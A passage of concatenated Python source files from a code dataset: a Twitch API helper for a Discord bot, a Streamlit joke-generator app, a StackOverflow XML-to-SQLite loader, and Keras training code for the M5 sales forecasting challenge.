expiringdict\nfrom expiringdict import ExpiringDict\n\nlog = logging.getLogger(__name__)\n\nload_dotenv()\n\n\nclass Streamer:\n def __init__(self, name=None, viewers=None):\n self.login_name = name\n self.viewers = viewers\n\n\nclass TwitchHelpers:\n \"\"\"\n Class for common helpers for Twitch functionality\n \"\"\"\n def __init__(self, client_id=None, client_secret=None):\n if client_id is None:\n self.client_id = os.getenv('TWITCH_CLIENT_ID')\n else:\n self.client_id = client_id\n if client_secret is None:\n self.client_secret = os.getenv('TWITCH_CLIENT_SECRET')\n else:\n self.client_secret = client_secret\n self.access_token = http_helpers.get_access_token(self.client_id, self.client_secret,\n 'https://id.twitch.tv/oauth2/token')\n self.local_stream_cache = ExpiringDict(max_len=1000, max_age_seconds=600)\n\n async def refresh_access_token(self):\n self.access_token = http_helpers.get_access_token(self.client_id, self.client_secret,\n 'https://id.twitch.tv/oauth2/token')\n\n # Returns a dictionary of top 100 twitch games\n def get_twitch_games(self):\n \"\"\"\n Returns a list of games and their weights\n :return: dictionary of game id to game name, and weighted game ids\n \"\"\"\n headers = http_helpers.form_auth_headers(self.client_id, self.access_token)\n response = http_helpers.send_get_request('https://api.twitch.tv/helix/games/top?first=100', headers=headers)\n\n if http_helpers.handle_status_code(response) != 'OK':\n log.warning(\"Returned http status code: \" + response.status_code)\n game_dict, weighted_game_ids = None, None\n else:\n games = response.json()['data']\n\n game_dict = {}\n weighted_game_ids = []\n weight = 10\n\n for game in games:\n game_dict[game['id']] = game['name']\n weighted_game_ids.extend([game['id']] * weight)\n if weight != 1:\n weight -= 1\n log.info('Weight ' + str(weight))\n\n return game_dict, weighted_game_ids\n\n def get_game_by_name(self, game_name):\n \"\"\"\n returns a game field by game_name\n :param game_name:\n :return: game\n \"\"\"\n headers = http_helpers.form_auth_headers(self.client_id, self.access_token)\n response = http_helpers.send_get_request('https://api.twitch.tv/helix/games?name=' + game_name,\n headers=headers)\n if http_helpers.handle_status_code(response) != 'OK':\n log.warning(\"Returned http status code: \" + response.status_code)\n log.warning(\"Returning None\")\n game_id = None\n else:\n games = response.json()['data']\n if len(games) > 0:\n log.info('Returning game id: ' + games[0]['id'])\n game_id = games[0]['id']\n else:\n game_id = None\n\n return game_id\n\n # Returns a list of streamers\n def get_twitch_streams(self, game_id=0, language=''):\n \"\"\"\n Gets a list of twitch streams under game_id in the specified language\n :param game_id:\n :param language:\n :return: List of streams\n \"\"\"\n streams_request_url = 'https://api.twitch.tv/helix/streams'\n\n headers = http_helpers.form_auth_headers(self.client_id, self.access_token)\n\n after = '0'\n streamers = []\n\n # Loop through this function a few times to get a lot of streamers\n # This might have to change if I'm sending too many requests to Twitch.\n for i in range(0, 5):\n request_url = build_twitch_streams_url(streams_request_url, '100', str(game_id), after)\n\n response = http_helpers.send_get_request(request_url, headers=headers)\n if http_helpers.handle_status_code(response) == 'Rate Limited':\n streamers = self.local_stream_cache.values()\n break\n try:\n for data in response.json()['data']:\n streamers.append(data)\n self.local_stream_cache[data['user_id']] = data\n #self.local_stream_cache.append(data)\n except KeyError:\n log.warning('No streamers found for game: ' + str(game_id))\n return None\n\n if str(response.json()['pagination']) == '{}':\n break\n else:\n pag = response.json()['pagination']['cursor']\n after = pag\n\n return streamers\n\n def get_streamer(self, game_id, cache=False):\n \"\"\"\n Selects a random streamer and returns information about that\n :param cache:\n :param game_id:\n :return: streamer\n \"\"\"\n if cache is True:\n streamers = self.local_stream_cache.values()\n else:\n streamers = self.get_twitch_streams(game_id)\n\n if streamers is None:\n my_streamer = None\n else:\n streamer = random.choice(streamers)\n\n streamer_login_name = self.get_streamer_login_name(streamer)\n viewer_count = streamer['viewer_count']\n\n my_streamer = Streamer(streamer_login_name, viewer_count)\n return my_streamer\n\n # Returns streamers user name for twitch link\n def get_streamer_login_name(self, streamer):\n \"\"\"\n Gets streamer login name from Twitch and returns it\n :param streamer:\n :return: streamer login_name\n \"\"\"\n headers = http_helpers.form_auth_headers(self.client_id, self.access_token)\n response = http_helpers.send_get_request('https://api.twitch.tv/helix/users?id=' + streamer['user_id'],\n headers=headers)\n\n if http_helpers.handle_status_code(response) == 'Rate Limited':\n # Hope for the best\n return str(streamer['user_id']).encode('UTF-8')\n try:\n data = response.json()['data']\n streamer_login_name = (data[0]['login'])\n except KeyError:\n log.warning('No streamers login found for ' + str(streamer['user_id']))\n streamer_login_name = None\n return streamer_login_name\n","repo_name":"TRottinger/discord-randomify","sub_path":"utils/twitch_helpers.py","file_name":"twitch_helpers.py","file_ext":"py","file_size_in_byte":6607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28218205893","text":"import sys\nimport streamlit as st\nfrom streamlit_lottie import st_lottie\nfrom lottie import lottie_book\nfrom corny_ai import get_corny, header\n\nst.set_page_config(layout='centered', page_title='Corny AI')\n\nst_lottie(lottie_book, speed=0.9, height=200, key=\"initial\")\nst.markdown(\"

Corny AI

\", unsafe_allow_html=True)\nst.markdown(\"

AI which is sometimes very funny

\", unsafe_allow_html=True)\n\nprompt = st.text_input(label=\"dad_joke_prompt\", \n placeholder=\"Q: What did iphone say to android?\", \n label_visibility=\"collapsed\")\n\ntemp = st.slider(label=\"Temperature\", \n min_value=0.0, \n max_value=1.0,\n value=0.75,\n label_visibility=\"visible\")\n\nif st.button(\"Generate\"):\n with st.spinner():\n out = get_corny(prompt=header+prompt,\n temperature=temp,\n max_tokens=100)\n st.markdown(out['choices'][0]['text'])\n","repo_name":"shahp7575/corny_ai","sub_path":"corny_ai/app_home.py","file_name":"app_home.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"42984503435","text":"from lxml import etree\nfrom StackOverflowSqlite import StackOverflowSqlite\nimport time\n\nposts_xml_file = open(\"/home/deep/Stackoverflow/Stackoverflow-recommendations/Data/Posts.xml\", \"rb\")\nbase_directory = \"~/Stackoverflow/Stackoverflow-recommendations/Data/\"\netree.XMLParser(recover=True)\n\nDB = \"stackoverflow-posts.db\"\nSQLITE = StackOverflowSqlite(DB)\n\ndef main():\n posts_count = 0\n end_tags_count = 0\n maxcount = 10\n processed_count = 524409\n #524409\n REQUIRED_TAG = \"row\"\n for event, elem in etree.iterparse(posts_xml_file, events=(\"start\", \"end\")):\n if (event == \"end\" and elem.tag == REQUIRED_TAG):\n if elem.get(\"PostTypeId\") == \"1\":\n if posts_count > processed_count:\n getElementDataAndStore(elem)\n posts_count+=1\n if posts_count % 1000 == 0:\n print(str(posts_count) + \"::\" + str(end_tags_count))\n time.sleep(0.01)\n end_tags_count+=1\n print(\"Total tags processed \" + str(end_tags_count))\n print(\"Total posts processed \" + str(posts_count))\n posts_xml_file.close()\n SQLITE.close()\n\ndef getElementDataAndStore(elem):\n id = elem.get(\"Id\")\n postObject = {}\n postObject[\"id\"] = elem.get(\"Id\")\n postObject[\"tags\"] = elem.get(\"Tags\").encode('utf8')\n postObject[\"title\"] = elem.get(\"Title\").encode('utf8')\n postObject[\"content\"] = elem.get(\"Body\").encode('utf8')\n SQLITE.commit(postObject) \n time.sleep(0.05)\n\nif __name__ == \"__main__\":\n main()","repo_name":"neerajcse/Stackoverflow-recommendations","sub_path":"small-test/ExtractFromXML.py","file_name":"ExtractFromXML.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"1661856085","text":"\"\"\"\nM5Forecast - Training\n# Implementation of M5 Forecasting challenge on Kaggle, https://www.kaggle.com/c/m5-forecasting-accuracy/.\n\nCreated: 25 apr 2020\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom IPython.display import clear_output\nimport time, gc\n\nfrom tensorflow.keras.callbacks import Callback, LearningRateScheduler\nfrom tensorflow.keras.optimizers import Adam\nimport tensorflow.keras.backend as K\nfrom tensorflow.keras.utils import Sequence\nimport tensorflow as tf\n\nfrom flow import select_day_nums, evaluate_model, save_object\nfrom preprocess import read_and_preprocess_data\nfrom model_builder import (get_pinball_losses, get_simple_dense_model, get_simple_dist_model,\n get_variable_dist_model, get_direct_dist_model)\n\n\nclass WindowBatchCreator(Sequence):\n \"\"\"Batch creator for M5Forecast - Accuracy challenge\n Expects a DataFrame with the days as index (d_num_start, .., d_num_end)\n\n - features: which columns to use for making predictions.\n - labels: which columns to predict.\n - window_in: number of input days for making predictions.\n - window_out: number of days to predict.\n - dilation: step size for training day selection.\n - lag: number of days between window_in days and window_out days.\n - shuffle: whether to shuffle the samples, where a sample consists of\n both the window_in days, window_out days.\n \"\"\"\n\n def __init__(self, df, features, labels, window_in, window_out, dilation=1,\n lag=0, batch_size=32, shuffle=True, ensure_all_samples=False):\n \"\"\"Initialization\"\"\"\n # Save a reference to the df\n self.df = df\n self.features = features\n self.labels = labels\n\n # Save hyperparameters\n self.window_in = window_in\n self.window_out = window_out\n self.dilation = dilation\n self.lag = lag\n self.shuffle = shuffle\n self.batch_size = batch_size\n self.ensure_all_samples = ensure_all_samples\n\n # Set up list of start indices for the validation set\n # From those the other indices will be calculated\n # Have 1 + (window_in - 1) * dilation training samples\n # Need `lag` days between training and validation samples\n train_day_span = 1 + (window_in - 1) * dilation\n start_val_day_min = min(select_day_nums(df, axis=0)) + train_day_span + lag\n start_val_day_max = max(select_day_nums(df, axis=0)) - window_out + 1\n self.list_start_val_days = np.arange(start_val_day_min, start_val_day_max + 1)\n\n # initialize indices\n self.indexes = None\n self.on_epoch_end()\n\n # calculate properties\n self.n = len(self.list_start_val_days)\n if isinstance(features, dict):\n self.n_features = {key: len(feats) for (key, feats) in features.items()}\n else:\n self.n_features = len(features)\n self.n_labels = len(labels)\n\n def __len__(self):\n \"\"\"Denotes the number of batches per epoch\"\"\"\n if self.ensure_all_samples:\n return int(np.ceil(self.n / self.batch_size))\n return self.n // self.batch_size\n\n def __getitem__(self, index):\n \"\"\"Generate one batch of data\"\"\"\n\n # Generate indexes of the batch\n indexes = self.indexes[index * self.batch_size:(index + 1) * self.batch_size]\n\n # Find list of IDs\n list_start_val_days_temp = self.list_start_val_days[indexes]\n\n # Generate data\n x_batch, y_batch = self.__data_generation(list_start_val_days_temp)\n\n return x_batch, y_batch\n\n def on_epoch_end(self):\n \"\"\"Updates indexes after each epoch\"\"\"\n self.indexes = np.arange(len(self.list_start_val_days))\n if self.shuffle:\n np.random.shuffle(self.indexes)\n\n def __data_generation(self, list_start_val_days_temp):\n \"\"\"Generates data containing batch_size samples\"\"\"\n\n # create batch placeholders\n batch_size = len(list_start_val_days_temp)\n if isinstance(self.features, dict):\n x_batch = {}\n for key, feats in self.features.items():\n x_batch[key] = np.zeros(shape=(batch_size, self.window_in, self.n_features[key]))\n else:\n x_batch = np.zeros(shape=(batch_size, self.window_in, self.n_features))\n y_batch = np.zeros(shape=(batch_size, self.window_out, self.n_labels))\n\n # fill batch\n for i, start_val_day in enumerate(list_start_val_days_temp):\n \"\"\"\n start_val_day contains the first day of the evaluation set\n - final val day: start_val_day + window_out - 1\n - final input day: start_val_day - lag - 1\n - start input day: final input day - (window_in - 1) * dilation\n \"\"\"\n # calculate day nums\n final_val_day = start_val_day + self.window_out - 1\n final_inp_day = start_val_day - self.lag - 1\n start_inp_day = final_inp_day - (self.window_in - 1) * self.dilation\n\n # print(\"Selecting train: {}-{} (step: {})\".format(start_inp_day, final_inp_day, self.dilation))\n # print(\"Selecting eval: {}-{} (lag: {})\".format(start_val_day, final_val_day, self.lag))\n\n # create lists of indices\n val_idx = ['d_%d' % d for d in range(start_val_day, final_val_day + 1)]\n inp_idx = ['d_%d' % d for d in range(start_inp_day, final_inp_day + 1, self.dilation)]\n\n # print(\"Train idx: {}\".format(inp_idx))\n if isinstance(self.features, dict):\n for key, feats in self.features.items():\n x_batch[key][i] = self.df.loc[inp_idx, feats].values\n else:\n x_batch[i] = self.df.loc[inp_idx, self.features].values\n y_batch[i] = self.df.loc[val_idx, self.labels].values\n\n return x_batch, y_batch\n\n def flow(self):\n \"\"\"returns a generator that will yield batches infinitely\"\"\"\n while True:\n for index in range(self.__len__()):\n batch_x, batch_y = self.__getitem__(index)\n yield batch_x, batch_y\n self.on_epoch_end()\n\n\nclass BatchCreator(Sequence):\n \"\"\"Batch creator for M5 Uncertainty challenge.\n - batch_size: number of samples per batch. Note: if ensure_all_samples is True,\n the final batch size may be smaller.\n - shuffle: whether to shuffle the samples.\n - ensure_all_samples: whether to ensure all samples are yielded. If False (default),\n the batch size is always constant.\n - inp_shape: input shape of how a single sample enters the neural network. This is without the batch size.\n - categorical_features: which columns to convert to one-hot encoding\n \"\"\"\n\n def __init__(self, df, features, labels, batch_size=128, shuffle=True, ensure_all_samples=False,\n inp_shape=(3244,), out_shape=(9,), categorical_features=None, check_nan=True):\n \"\"\"Initialization\"\"\"\n # Save settings\n self.df = df\n self.features = features\n self.labels = labels\n self.batch_size = batch_size\n self.shuffle = shuffle\n self.ensure_all_samples = ensure_all_samples\n self.inp_shape = inp_shape\n self.out_shape = out_shape\n self.categorical_features = [c for c in categorical_features\n if c in features]\n self.check_nan = check_nan\n\n # calculate properties\n self.n = self.df.index.size\n\n # initialize indices\n self.indexes = None\n self.on_epoch_end()\n\n def __len__(self):\n \"\"\"Denotes the number of batches per epoch\"\"\"\n if self.ensure_all_samples:\n return int(np.ceil(self.n / self.batch_size))\n return self.n // self.batch_size\n\n def __getitem__(self, index):\n \"\"\"Generate one batch of data\"\"\"\n\n # Generate indexes of the batch\n indexes = self.indexes[index * self.batch_size:(index + 1) * self.batch_size]\n\n # Generate data\n x_batch, y_batch = self.__data_generation(indexes)\n\n return x_batch, y_batch\n\n def on_epoch_end(self):\n \"\"\"Updates indexes after each epoch\"\"\"\n self.indexes = np.arange(self.n)\n if self.shuffle:\n np.random.shuffle(self.indexes)\n\n def __data_generation(self, indexes):\n \"\"\"Generates data containing batch_size samples\"\"\"\n\n # fill labels\n demand = self.df.iloc[indexes]['demand'].values.astype(np.float32)\n y_batch = {'q%d' % d: demand for d in range(9)}\n\n # fill features\n x_batch = self.df.iloc[indexes][self.features]\n x_batch = pd.get_dummies(x_batch, columns=self.categorical_features) # , dummy_na=True)\n\n # convert to floats\n x_batch = x_batch.astype(np.float32)\n\n if self.check_nan:\n # replace nan with zero\n mask = x_batch.isna()\n x_batch[mask] = 0\n\n # convert to numpy array and return\n x_batch = x_batch.values\n\n return x_batch, y_batch\n\n def flow(self, epochs=None):\n \"\"\"returns a generator that will yield batches infinitely\"\"\"\n epochs_done = 0\n while True:\n for index in range(self.__len__()):\n batch_x, batch_y = self.__getitem__(index)\n yield batch_x, batch_y\n\n # track nr. of epochs\n epochs_done += 1\n if epochs is not None and epochs_done == epochs:\n break # stop yielding new elements\n\n # do on epoch end\n self.on_epoch_end()\n\n\nclass Logger(Callback):\n def __init__(self, val_batch_creator, model_dir=None, model_name=\"model\", update_plot=True):\n super().__init__()\n self.val_batch_creator = val_batch_creator\n self.update_plot = update_plot\n\n # validation metrics\n self.val_x = []\n self.val_spl = []\n # save best model properties\n self.best_spl = np.inf\n self.best_model = None\n self.best_epoch = 0\n self.model_dir = model_dir\n self.model_name = model_name\n\n # initialize metrics\n self.train_metrics = {}\n self.metric_names = ['loss']\n self.metric_names.extend(['q{}_loss'.format(d) for d in range(9)])\n for m in self.metric_names:\n self.train_metrics[m] = []\n # print(\"Tracking {}\".format(self.metric_names))\n\n self.val_metrics = {}\n self.val_metric_names = ['val_{}'.format(m) for m in self.metric_names]\n for m in self.val_metric_names:\n self.val_metrics[m] = []\n # print(\"Tracking {}\".format(self.val_metric_names))\n\n def on_batch_end(self, batch, logs={}):\n # log training metrics\n for m in self.metric_names:\n if m in logs.keys():\n self.train_metrics[m].append(logs.get(m))\n\n def on_epoch_end(self, batch, logs={}):\n num_train_steps = len(self.train_metrics['loss'])\n timestamp = time.strftime('%Y-%m-%d_%H%M', time.localtime())\n\n if self.model_dir:\n self.model.save(self.model_dir + '{}_{}_{}_steps.h5'.format(\n self.model_name, timestamp, num_train_steps))\n\n # calculate normalised validation PL\n if 'val_loss' in logs.keys():\n for m in self.val_metric_names:\n self.val_metrics[m].append(logs.get(m))\n else:\n # evaluate validation set\n val_losses = self.model.evaluate(self.val_batch_creator.flow(),\n steps=self.val_batch_creator.__len__())\n for i, m in enumerate(self.val_metric_names):\n self.val_metrics[m].append(val_losses[i])\n\n self.val_x.append(num_train_steps)\n spl = self.val_metrics['val_loss'][-1]\n\n if spl < self.best_spl:\n self.best_spl = spl\n self.best_model = self.model.get_weights()\n self.best_epoch = len(self.val_spl)\n if self.update_plot:\n self.plot()\n\n def validate(self):\n pass\n\n def plot(self, clear=True):\n if clear:\n clear_output()\n\n f, axes = plt.subplots(1, 2, figsize=(18, 6))\n\n # plot losses\n losses = self.train_metrics['loss']\n val_losses = self.val_metrics['val_loss']\n\n ax = axes[0]\n ax.plot(range(1, 1 + len(losses)), losses, label='Train')\n if len(val_losses):\n ax.plot(self.val_x, val_losses, '.-', label='Validation')\n ax.set_xlabel(\"Step\")\n ax.set_ylabel(r\"normalised PL\")\n ax.set_title(\"Loss\")\n ax.set_ylim(0)\n\n # plot final losses\n ax = axes[1]\n N = len(losses)\n n = min(501, max(100, N - 100))\n ax.plot(range(1 + N - n, 1 + N), losses[-n:], label='Train')\n if len(val_losses):\n indexer = [x > (N - n) for x in self.val_x]\n ax.plot(np.array(self.val_x)[indexer], np.array(val_losses)[indexer], '.-', label='Validation')\n ax.set_xlabel(\"Step\")\n ax.set_ylabel(r\"normalised PL\")\n ax.set_title(\"Loss final {} steps\".format(n))\n ax.set_ylim(0)\n\n for ax in axes:\n ax.legend()\n\n plt.show()\n\n\nclass WindowLogger(Callback):\n def __init__(self, ref, cv_generator, prices=None, calendar=None, train_norm=None, features=None, labels=None,\n agent=None, folds=None, window_in=28, preprocess_func=None, update_plot=True,\n plot_loss_max=None):\n super().__init__()\n self.ref = ref\n self.cv_generator = cv_generator\n self.prices = prices\n self.calendar = calendar\n self.train_norm = train_norm\n self.features = features\n self.labels = labels\n self.folds = folds\n self.agent = agent\n self.window_in = window_in\n self.preprocess_func = preprocess_func\n self.update_plot = update_plot\n self.plot_loss_max = plot_loss_max\n\n self.losses = []\n self.val_metrics = []\n self.best_wrmsse = np.inf\n self.best_model = None\n\n def on_batch_end(self, batch, logs={}):\n self.losses.append(logs.get('loss'))\n\n def on_epoch_end(self, batch, logs={}):\n mean_wrmsse, wrmsses = self.validate()\n self.val_metrics.append([len(self.losses), mean_wrmsse])\n if mean_wrmsse < self.best_wrmsse:\n self.best_wrmsse = mean_wrmsse\n self.best_model = self.model.get_weights()\n if self.update_plot:\n self.plot()\n\n def validate(self):\n ls = []\n\n for fold in self.folds:\n sales_train, sales_true = self.cv_generator.get_train_val_split(fold=fold, train_size=self.window_in)\n\n sales_true_aggregated = sales_true.groupby(['store_id']).sum()\n train_df, norm = self.preprocess_func(sales_train, prices=self.prices,\n calendar=self.calendar, norm=self.train_norm)\n\n # select days to predict\n val_day_nums = select_day_nums(sales_true_aggregated)\n sales_pred = self.agent.predict(train_df, val_day_nums)\n\n store_WRMSSE = self.ref.calc_WRMSSE(sales_true=sales_true_aggregated, sales_pred=sales_pred.T,\n groupby=None, weights=self.ref.weights[3], scale=self.ref.scales[3])\n ls.append(store_WRMSSE)\n\n return np.mean(ls), ls\n\n def plot(self, clear=True):\n if clear:\n clear_output()\n\n N = len(self.losses)\n train_loss_plt, = plt.plot(range(0, N), self.losses)\n val_plt, = plt.plot(*np.array(self.val_metrics).T)\n if min(self.losses) < self.plot_loss_max:\n plt.ylim(top=self.plot_loss_max, bottom=0)\n plt.legend((train_loss_plt, val_plt),\n ('training loss', 'validation WRMSSE'))\n plt.show()\n\n\ndef make_loss(ref, train_norm):\n # calculate scaling constant for each series\n scaling = ref.weights[3] * train_norm / (ref.scales[3] ** (1/2))\n # convert to array\n scaling = tf.Variable(scaling.values, dtype=tf.float32)\n\n def WRMSSE_store(y_true, y_pred):\n # calculate squared prediction error\n SE = K.square(y_pred - y_true)\n # Calculate mean of daily prediction errors, so keep list of series\n MSE = K.mean(SE, axis=0)\n # apply scaling\n scaled_MSE = MSE * scaling\n # sum\n return K.sum(scaled_MSE)\n return WRMSSE_store\n\n\ndef plot_confidence_series(quantile_preds, quantiles, ax=None):\n if ax is None:\n f, ax = plt.subplots(1, 1, figsize=(18, 6))\n\n x = np.arange(len(quantile_preds[0.5]))\n\n # plot median as thick line\n ax.plot(x, quantile_preds[0.5], 'k-', linewidth=2, label=\"Median\")\n\n # plot true sales\n ax.plot(x, quantile_preds['true'], 'g-', linewidth=3, label='True')\n\n # plot confidence intervals\n conf_labels = ['50%', '67%', '95%', '99%']\n for i in range(4):\n q1 = quantiles[i]\n q2 = quantiles[-i - 1]\n ax.fill_between(x, quantile_preds[q1], quantile_preds[q2], color='C0', alpha=(i + 1) * 0.2,\n label=conf_labels[i])\n\n ax.set_xlim(x.min(), x.max())\n ax.set_ylim(0)\n ax.set_xlabel(\"Predicted day\")\n ax.set_ylabel(\"Predicted number of sales\")\n ax.set_title(quantile_preds['label'])\n ax.legend()\n\n\ndef plot_some_confidence_intervals(df, val_batch_creator, level, quantiles, data_dir='data/', num=9, plot_shape=(3, 3)):\n indices = range(num)\n norm = pd.read_csv(data_dir + 'prep/norm_level_{}.csv'.format(level))\n\n f, axes = plt.subplots(nrows=plot_shape[0], ncols=plot_shape[1], figsize=(18, 6 * plot_shape[0]))\n\n for idx, ax in zip(indices, np.ravel(axes)):\n quantile_preds = {}\n d_cols = select_day_nums(df, as_int=False)\n\n for i, q in enumerate(quantiles):\n selected_series = df.loc[df['quantile'] == q].iloc[idx]\n quantile_preds[q] = selected_series[d_cols].values.astype(float)\n\n series_id = \"_\".join(selected_series['id'].split('_')[0:-2]) # e.g. FOODS_1_010_X_0.995_evaluation\n true_sales = val_batch_creator.df.loc[(val_batch_creator.df['id'] == series_id), 'demand']\n series_norm = norm.loc[norm['id'] == series_id].norm.values[0]\n quantile_preds['true'] = (true_sales * series_norm).values\n quantile_preds['label'] = series_id\n\n # plot\n plot_confidence_series(quantile_preds, quantiles=quantiles, ax=ax)\n\n plt.tight_layout()\n plt.show()\n\n\ndef prepare_training(data, features, labels, available_cat_features, batch_size=1024):\n # going to evaluate with the last 28 days\n x_train = data[data['date'] <= '2016-03-27']\n x_val = data[(data['date'] > '2016-03-27') & (data['date'] <= '2016-04-24')]\n\n # make batch creators\n labels = ['demand']\n\n def get_generators(bs=1024):\n train_bc = BatchCreator(x_train, features, labels, categorical_features=available_cat_features,\n batch_size=bs, check_nan=False)\n val_bc = BatchCreator(x_val, features, labels, shuffle=False, ensure_all_samples=True,\n categorical_features=available_cat_features, batch_size=bs, check_nan=False)\n\n return train_bc, val_bc\n\n train_batch_creator, val_batch_creator = get_generators(bs=batch_size)\n\n # determine model input shape\n x, y = next(train_batch_creator.flow())\n INP_SHAPE = x[0].shape\n\n # make losses\n losses = get_pinball_losses()\n\n return train_batch_creator, val_batch_creator, get_generators, INP_SHAPE, losses\n\n\ndef add_lgb_predictions(data, level, features, lgb_prediction_dir, prediction_lag=28):\n # read predictions\n fn = lgb_prediction_dir + 'predictions_level{}_lag{}.csv'.format(level, prediction_lag)\n print(\"Adding LightGBM prediction from {}..\".format(fn))\n lgb_predictions = pd.read_csv(fn, index_col=0)\n\n # drop 'demand' column and convert date to pandas datetime\n if 'demand' in lgb_predictions.columns:\n lgb_predictions.drop(columns=['demand'], inplace=True)\n lgb_predictions.date = pd.to_datetime(lgb_predictions.date)\n\n # merge lgb's predictions with the data\n data = pd.merge(data, lgb_predictions, how='left', on=['id', 'date'])\n\n # add feature 'lgb_pred' to the feature list\n features.append('lgb_pred')\n\n return data, features\n\n\ndef perform_training_scheme(level, model, warmup_batch_size, finetune_batch_size, ref, calendar, quantiles=None,\n data_dir='data/', model_dir='models/uncertainty/', warmup_lr_list=None,\n finetune_lr_list=None, warmup_epochs=10, finetune_epochs=10, lgb_prediction=False,\n lgb_prediction_dir=None, model_name=\"stepped_lr\", validation_steps=None,\n augment_events=False, prediction_lag=28, verbose=True):\n if warmup_lr_list is None:\n warmup_lr_list = [1e-5, 1e-4, 1e-3, 2e-3, 3e-3, 1e-3]\n if finetune_lr_list is None:\n finetune_lr_list = [2e-3, 3e-3, 1e-3, 3e-4, 1e-4]\n if quantiles is None:\n quantiles = [0.005, 0.025, 0.165, 0.25, 0.5, 0.75, 0.835, 0.975, 0.995]\n print(\"Starting level {}..\".format(level)) if verbose else None\n\n # read data\n data, features, available_cat_features = read_and_preprocess_data(level=level, augment_events=augment_events,\n prediction_lag=prediction_lag)\n if lgb_prediction:\n print(\"Adding lgb prediction as feature\") if verbose else None\n data, features = add_lgb_predictions(data, level, features, lgb_prediction_dir, prediction_lag=prediction_lag)\n\n # setup for training\n batch_size = warmup_batch_size[level]\n labels = ['demand']\n train_batch_creator, val_batch_creator, get_generators, INP_SHAPE, losses = prepare_training(\n data, features, labels, available_cat_features, batch_size=batch_size)\n\n # compile model and initialize logger\n model.compile(optimizer=Adam(learning_rate=1e-3), loss=losses)\n logger = Logger(val_batch_creator)\n\n # train model: warm-up\n lr_list = warmup_lr_list[0:3]\n for lr_block in lr_list:\n # set lr (without recompiling and losing momentum)\n def lr_scheduler(epoch, lr):\n return lr_block\n\n lr_callback = LearningRateScheduler(lr_scheduler, verbose=1)\n\n # train model\n val_steps = validation_steps if validation_steps is not None else val_batch_creator.__len__()\n history = model.fit(train_batch_creator.flow(), epochs=warmup_epochs, steps_per_epoch=100,\n validation_data=val_batch_creator.flow(), validation_steps=val_steps,\n callbacks=[lr_callback, logger])\n\n # evaluate\n metrics, df = evaluate_model(model, ref, val_batch_creator, calendar, quantiles, data_dir, level)\n metrics1 = metrics\n\n # save warm-up result\n model.save_weights(model_dir + 'level{}_{}_part1_WSPL{:.2e}.h5'.format(level, model_name, metrics['WSPL']))\n\n # train model: continued\n lr_list = warmup_lr_list[3:6]\n for lr_block in lr_list:\n # set lr (without recompiling and losing momentum)\n def lr_scheduler(epoch, lr):\n return lr_block\n\n lr_callback = LearningRateScheduler(lr_scheduler, verbose=1)\n\n # train model\n val_steps = validation_steps if validation_steps is not None else val_batch_creator.__len__()\n history = model.fit(train_batch_creator.flow(), epochs=warmup_epochs, steps_per_epoch=100,\n validation_data=val_batch_creator.flow(), validation_steps=val_steps,\n callbacks=[lr_callback, logger])\n\n # evaluate\n metrics, df = evaluate_model(model, ref, val_batch_creator, calendar, quantiles, data_dir, level)\n metrics2 = metrics\n\n # save continued result\n model.save_weights(model_dir + 'level{}_{}_part2_WSPL{:.2e}.h5'.format(level, model_name, metrics['WSPL']))\n\n # fine-tune\n batch_size = finetune_batch_size[level]\n train_batch_creator, val_batch_creator = get_generators(batch_size)\n\n lr_list = finetune_lr_list\n\n for lr_block in lr_list:\n # set lr (without recompiling and losing momentum)\n def lr_scheduler(epoch, lr):\n return lr_block\n\n lr_callback = LearningRateScheduler(lr_scheduler, verbose=1)\n\n # train model\n val_steps = validation_steps if validation_steps is not None else val_batch_creator.__len__()\n history = model.fit(train_batch_creator.flow(), epochs=finetune_epochs, steps_per_epoch=100,\n validation_data=val_batch_creator.flow(), validation_steps=val_steps,\n callbacks=[lr_callback, logger])\n\n # calculate WSPL and save metrics\n metrics, df = evaluate_model(model, ref, val_batch_creator, calendar, quantiles, data_dir, level)\n metrics3 = metrics\n\n # save fine-tuned model\n model.save_weights(model_dir + 'level{}_{}_part3_WSPL{:.2e}.h5'.format(level, model_name, metrics['WSPL']))\n\n return model, logger, metrics1, metrics2, metrics3\n\n\ndef run_experiment(nodes_settings, input_shapes, warmup_batch_size, finetune_batch_size, ref, calendar, model_dir,\n mode=\"dense\", augment_events=False, lgb_prediction=False, lgb_prediction_dir=None):\n \"\"\"\n Run experiment on the performance of the final \"distribution layer\"\n nodes_settings: number of nodes per layer to test\n should be in the format {level: [n1, n2, ...], ...}\n mode: distribution layer to test, either \"dense\", \"dist2\", \"dist4\" or \"direct\"\n \"\"\"\n\n # setup model builder function\n if mode == \"dense\":\n model_func = get_simple_dense_model\n elif mode == \"dist2\":\n model_func = get_simple_dist_model\n elif mode == \"dist4\":\n model_func = get_variable_dist_model\n elif mode == \"direct\":\n model_func = get_direct_dist_model\n\n # track metrics\n logger_list = []\n part1_metrics = []\n part2_metrics = []\n part3_metrics = []\n\n # loop over the levels\n for level, node_options in nodes_settings.items():\n\n # loop over the number of nodes per layer\n for num_nodes in node_options:\n model_name = \"model_{}_{}\".format(mode, num_nodes)\n\n # build model\n model = model_func(inp_shape=input_shapes[level], num_nodes=num_nodes, final_activation=\"exponential\")\n model.summary()\n\n # train model\n warmup_lr_list = [1e-3, 1e-3, 1e-3, # save part 1\n 1e-3, 1e-3, 1e-3] # save part 2\n finetune_lr_list = [1e-4, 1e-4, 1e-5, 1e-5]\n model, logger, metrics1, metrics2, metrics3 = perform_training_scheme(\n level, model, warmup_batch_size, finetune_batch_size, ref, calendar,\n model_dir=model_dir, model_name=model_name, warmup_lr_list=warmup_lr_list,\n finetune_lr_list=finetune_lr_list, lgb_prediction=lgb_prediction,\n lgb_prediction_dir=lgb_prediction_dir, augment_events=augment_events,\n )\n\n # save metrics\n logger_list.append(logger)\n part1_metrics.append(metrics1)\n part2_metrics.append(metrics2)\n part3_metrics.append(metrics3)\n for i, m in enumerate([part1_metrics, part2_metrics, part3_metrics]):\n save_object(m, model_dir + mode + \"_part{}_metrics.pickle\".format(i + 1))\n\n # save training metrics\n save_object(logger.train_metrics, model_dir + model_name + \"_metrics_train.pickle\")\n save_object(logger.val_metrics, model_dir + model_name + 